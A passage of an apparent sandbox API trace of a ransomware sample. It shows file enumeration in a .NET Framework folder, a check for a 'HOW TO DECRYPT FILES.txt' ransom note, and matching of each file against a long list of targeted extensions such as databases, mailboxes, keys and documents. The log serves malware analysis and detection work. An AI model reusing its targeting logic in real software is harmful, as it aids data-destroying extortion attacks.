hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0137.331] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9f28d0a0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0xa78, dwReserved0=0x45004c, dwReserved1=0x2e0053, cFileName="webAdmin.master", cAlternateFileName="WEBADM~1.MAS")) returned 1 [0137.331] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0137.331] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9f2b3200, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x831, dwReserved0=0x45004c, dwReserved1=0x2e0053, cFileName="webAdminButtonRow.master", cAlternateFileName="WEBADM~2.MAS")) returned 1 [0137.331] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0137.331] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9f2b3200, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x1a52, dwReserved0=0x45004c, dwReserved1=0x2e0053, cFileName="WebAdminHelp.aspx", cAlternateFileName="WEBADM~2.ASP")) returned 1 [0137.331] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0137.331] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9f2b3200, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x3503, dwReserved0=0x45004c, dwReserved1=0x2e0053, cFileName="WebAdminHelp_Application.aspx", cAlternateFileName="WEBADM~1.ASP")) returned 1 [0137.332] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0137.333] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\" [0137.333] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\") returned="" [0137.333] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\HOW TO DECRYPT FILES.txt" [0137.333] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\how to decrypt files.txt")) returned 0x20 [0137.333] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\", lpString2="WebAdminHelp_Application.aspx" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Application.aspx") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Application.aspx" [0137.333] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Application.aspx", pszSpec="*.ems") returned 0 [0137.333] lstrlenA (lpString="*.ems") returned 5 [0137.333] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Application.aspx", pszSpec="*.db") returned 0 [0137.333] lstrlenA (lpString="*.db") returned 4 [0137.333] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Application.aspx", pszSpec="*.dbf") returned 0 [0137.333] lstrlenA (lpString="*.dbf") returned 5 [0137.333] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Application.aspx", pszSpec="*.myox") returned 0 [0137.333] lstrlenA (lpString="*.myox") returned 6 [0137.333] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Application.aspx", pszSpec="*.myo") returned 0 [0137.333] lstrlenA (lpString="*.myo") returned 5 [0137.333] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Application.aspx", pszSpec="*.qbw") returned 0 [0137.333] lstrlenA (lpString="*.qbw") returned 5 [0137.333] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Application.aspx", pszSpec="*.qbb") returned 0 [0137.333] lstrlenA (lpString="*.qbb") returned 5 [0137.334] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Application.aspx", pszSpec="*.qbm") returned 0 [0137.334] lstrlenA (lpString="*.qbm") returned 5 [0137.334] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Application.aspx", pszSpec="*.qbo") returned 0 [0137.334] lstrlenA (lpString="*.qbo") returned 5 [0137.334] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Application.aspx", pszSpec="*.qbx") returned 0 [0137.334] lstrlenA (lpString="*.qbx") returned 5 [0137.334] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Application.aspx", pszSpec="*.qba") returned 0 [0137.334] lstrlenA (lpString="*.qba") returned 5 [0137.334] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Application.aspx", pszSpec="*.qby") returned 0 [0137.334] lstrlenA (lpString="*.qby") returned 5 [0137.334] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Application.aspx", pszSpec="*.qbj") returned 0 [0137.334] lstrlenA (lpString="*.qbj") returned 5 [0137.334] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Application.aspx", pszSpec="*.ofx") returned 0 [0137.334] lstrlenA (lpString="*.ofx") returned 5 [0137.334] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Application.aspx", pszSpec="*.qif") returned 0 [0137.334] lstrlenA (lpString="*.qif") returned 5 [0137.334] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Application.aspx", pszSpec="*.mye") returned 0 [0137.334] lstrlenA (lpString="*.mye") returned 5 [0137.334] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Application.aspx", pszSpec="*.mbox") returned 0 [0137.334] lstrlenA (lpString="*.mbox") returned 6 [0137.334] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Application.aspx", pszSpec="*.eml") returned 0 [0137.334] lstrlenA (lpString="*.eml") returned 5 [0137.335] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Application.aspx", pszSpec="*.pst") returned 0 [0137.335] lstrlenA (lpString="*.pst") returned 5 [0137.335] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Application.aspx", pszSpec="*.ost") returned 0 [0137.335] lstrlenA (lpString="*.ost") returned 5 [0137.335] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Application.aspx", pszSpec="*.idx") returned 0 [0137.335] lstrlenA (lpString="*.idx") returned 5 [0137.335] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Application.aspx", pszSpec="*.dbx") returned 0 [0137.335] lstrlenA (lpString="*.dbx") returned 5 [0137.335] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Application.aspx", pszSpec="*.sql") returned 0 [0137.335] lstrlenA (lpString="*.sql") returned 5 [0137.335] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Application.aspx", pszSpec="*.mdb") returned 0 [0137.335] lstrlenA (lpString="*.mdb") returned 5 [0137.335] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Application.aspx", pszSpec="*.fdb") returned 0 [0137.335] lstrlenA (lpString="*.fdb") returned 5 [0137.335] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Application.aspx", pszSpec="*.wab") returned 0 [0137.335] lstrlenA (lpString="*.wab") returned 5 [0137.335] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Application.aspx", pszSpec="*.dat") returned 0 [0137.335] lstrlenA (lpString="*.dat") returned 5 [0137.335] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Application.aspx", pszSpec="*.txt") returned 0 [0137.335] lstrlenA (lpString="*.txt") returned 5 [0137.335] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Application.aspx", pszSpec="*.jpeg") returned 0 [0137.335] lstrlenA (lpString="*.jpeg") returned 6 [0137.335] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Application.aspx", pszSpec="*.jpg") returned 0 [0137.335] lstrlenA (lpString="*.jpg") returned 5 [0137.336] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Application.aspx", pszSpec="*.png") returned 0 [0137.336] lstrlenA (lpString="*.png") returned 5 [0137.336] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Application.aspx", pszSpec="*.php") returned 0 [0137.336] lstrlenA (lpString="*.php") returned 5 [0137.336] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Application.aspx", pszSpec="*.cs") returned 0 [0137.336] lstrlenA (lpString="*.cs") returned 4 [0137.336] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Application.aspx", pszSpec="*.cpp") returned 0 [0137.336] lstrlenA (lpString="*.cpp") returned 5 [0137.336] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Application.aspx", pszSpec="*.rar") returned 0 [0137.336] lstrlenA (lpString="*.rar") returned 5 [0137.336] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Application.aspx", pszSpec="*.zip") returned 0 [0137.336] lstrlenA (lpString="*.zip") returned 5 [0137.336] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Application.aspx", pszSpec="*.html") returned 0 [0137.336] lstrlenA (lpString="*.html") returned 6 [0137.336] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Application.aspx", pszSpec="*.htm") returned 0 [0137.336] lstrlenA (lpString="*.htm") returned 5 [0137.336] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Application.aspx", pszSpec="*.xlsx") returned 0 [0137.336] lstrlenA (lpString="*.xlsx") returned 6 [0137.336] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Application.aspx", pszSpec="*.xls") returned 0 [0137.336] lstrlenA (lpString="*.xls") returned 5 [0137.336] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Application.aspx", pszSpec="*.mp4") returned 0 [0137.336] lstrlenA (lpString="*.mp4") returned 5 [0137.336] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Application.aspx", pszSpec="*.ppt") returned 0 [0137.336] lstrlenA (lpString="*.ppt") returned 5 [0137.336] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Application.aspx", pszSpec="*.pptx") returned 0 [0137.337] lstrlenA (lpString="*.pptx") returned 6 [0137.337] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Application.aspx", pszSpec="*.doc") returned 0 [0137.337] lstrlenA (lpString="*.doc") returned 5 [0137.337] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Application.aspx", pszSpec="*.dot") returned 0 [0137.337] lstrlenA (lpString="*.dot") returned 5 [0137.337] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Application.aspx", pszSpec="*.docx") returned 0 [0137.337] lstrlenA (lpString="*.docx") returned 6 [0137.337] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Application.aspx", pszSpec="*.7z") returned 0 [0137.337] lstrlenA (lpString="*.7z") returned 4 [0137.337] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Application.aspx", pszSpec="*.tar") returned 0 [0137.337] lstrlenA (lpString="*.tar") returned 5 [0137.337] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Application.aspx", pszSpec="*.bz2") returned 0 [0137.337] lstrlenA (lpString="*.bz2") returned 5 [0137.337] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Application.aspx", pszSpec="*.gz") returned 0 [0137.337] lstrlenA (lpString="*.gz") returned 4 [0137.337] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Application.aspx", pszSpec="*.mkv") returned 0 [0137.337] lstrlenA (lpString="*.mkv") returned 5 [0137.337] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Application.aspx", pszSpec="*.eml") returned 0 [0137.337] lstrlenA (lpString="*.eml") returned 5 [0137.337] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Application.aspx", pszSpec="*.msg") returned 0 [0137.337] lstrlenA (lpString="*.msg") returned 5 [0137.337] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Application.aspx", pszSpec="*.edb") returned 0 [0137.337] lstrlenA (lpString="*.edb") returned 5 [0137.337] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Application.aspx", pszSpec="*.accdb") returned 0 [0137.337] lstrlenA (lpString="*.accdb") returned 7 [0137.337] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Application.aspx", pszSpec="*.odb") returned 0 [0137.338] lstrlenA (lpString="*.odb") returned 5 [0137.338] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Application.aspx", pszSpec="*.java") returned 0 [0137.338] lstrlenA (lpString="*.java") returned 6 [0137.338] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Application.aspx", pszSpec="*.asm") returned 0 [0137.338] lstrlenA (lpString="*.asm") returned 5 [0137.338] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Application.aspx", pszSpec="*.pfx") returned 0 [0137.338] lstrlenA (lpString="*.pfx") returned 5 [0137.338] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Application.aspx", pszSpec="*.pem") returned 0 [0137.338] lstrlenA (lpString="*.pem") returned 5 [0137.338] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Application.aspx", pszSpec="*.p12") returned 0 [0137.338] lstrlenA (lpString="*.p12") returned 5 [0137.338] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Application.aspx", pszSpec="*.gpg") returned 0 [0137.338] lstrlenA (lpString="*.gpg") returned 5 [0137.338] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Application.aspx", pszSpec="*.vsd") returned 0 [0137.338] lstrlenA (lpString="*.vsd") returned 5 [0137.338] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Application.aspx", pszSpec="*.odg") returned 0 [0137.338] lstrlenA (lpString="*.odg") returned 5 [0137.338] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Application.aspx", pszSpec="*.raw") returned 0 [0137.338] lstrlenA (lpString="*.raw") returned 5 [0137.338] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Application.aspx", pszSpec="*.nef") returned 0 [0137.338] lstrlenA (lpString="*.nef") returned 5 [0137.338] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Application.aspx", pszSpec="*.svg") returned 0 [0137.338] lstrlenA (lpString="*.svg") returned 5 [0137.338] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Application.aspx", pszSpec="*.psd") returned 0 [0137.338] lstrlenA (lpString="*.psd") returned 5 [0137.338] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Application.aspx", pszSpec="*.vmx") returned 0 [0137.338] lstrlenA (lpString="*.vmx") returned 5 [0137.339] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Application.aspx", pszSpec="*.vmdk") returned 0 [0137.339] lstrlenA (lpString="*.vmdk") returned 6 [0137.339] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Application.aspx", pszSpec="*.vdi") returned 0 [0137.339] lstrlenA (lpString="*.vdi") returned 5 [0137.339] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Application.aspx", pszSpec="*.lay6") returned 0 [0137.339] lstrlenA (lpString="*.lay6") returned 6 [0137.339] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Application.aspx", pszSpec="*.mpeg") returned 0 [0137.339] lstrlenA (lpString="*.mpeg") returned 6 [0137.339] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Application.aspx", pszSpec="*.djvu") returned 0 [0137.339] lstrlenA (lpString="*.djvu") returned 6 [0137.339] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Application.aspx", pszSpec="*.tiff") returned 0 [0137.339] lstrlenA (lpString="*.tiff") returned 6 [0137.339] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Application.aspx", pszSpec="*.backup") returned 0 [0137.339] lstrlenA (lpString="*.backup") returned 8 [0137.339] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Application.aspx", pszSpec="*.pdf") returned 0 [0137.339] lstrlenA (lpString="*.pdf") returned 5 [0137.339] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Application.aspx", pszSpec="*.cert") returned 0 [0137.339] lstrlenA (lpString="*.cert") returned 6 [0137.339] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Application.aspx", pszSpec="*.docm") returned 0 [0137.339] lstrlenA (lpString="*.docm") returned 6 [0137.339] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Application.aspx", pszSpec="*.xlsm") returned 0 [0137.339] lstrlenA (lpString="*.xlsm") returned 6 [0137.339] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Application.aspx", pszSpec="*.dwg") returned 0 [0137.339] lstrlenA (lpString="*.dwg") returned 5 [0137.339] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Application.aspx", pszSpec="*.nd") returned 0 [0137.339] lstrlenA (lpString="*.nd") returned 4 [0137.339] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Application.aspx", pszSpec="*.tlg") returned 0 [0137.339] lstrlenA (lpString="*.tlg") returned 5 [0137.339] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Application.aspx", pszSpec="*.lgb") returned 0 [0137.340] lstrlenA (lpString="*.lgb") returned 5 [0137.340] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Application.aspx", pszSpec="*.mov") returned 0 [0137.340] lstrlenA (lpString="*.mov") returned 5 [0137.340] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Application.aspx", pszSpec="*.xdw") returned 0 [0137.340] lstrlenA (lpString="*.xdw") returned 5 [0137.340] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Application.aspx", pszSpec="*.ods") returned 0 [0137.340] lstrlenA (lpString="*.ods") returned 5 [0137.340] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Application.aspx", pszSpec="*.wav") returned 0 [0137.340] lstrlenA (lpString="*.wav") returned 5 [0137.340] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Application.aspx", pszSpec="*.mp3") returned 0 [0137.340] lstrlenA (lpString="*.mp3") returned 5 [0137.340] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Application.aspx", pszSpec="*.aiff") returned 0 [0137.340] lstrlenA (lpString="*.aiff") returned 6 [0137.340] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Application.aspx", pszSpec="*.flac") returned 0 [0137.340] lstrlenA (lpString="*.flac") returned 6 [0137.340] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Application.aspx", pszSpec="*.m4a") returned 0 [0137.340] lstrlenA (lpString="*.m4a") returned 5 [0137.340] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Application.aspx", pszSpec="*.csv") returned 0 [0137.340] lstrlenA (lpString="*.csv") returned 5 [0137.340] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9f2b3200, 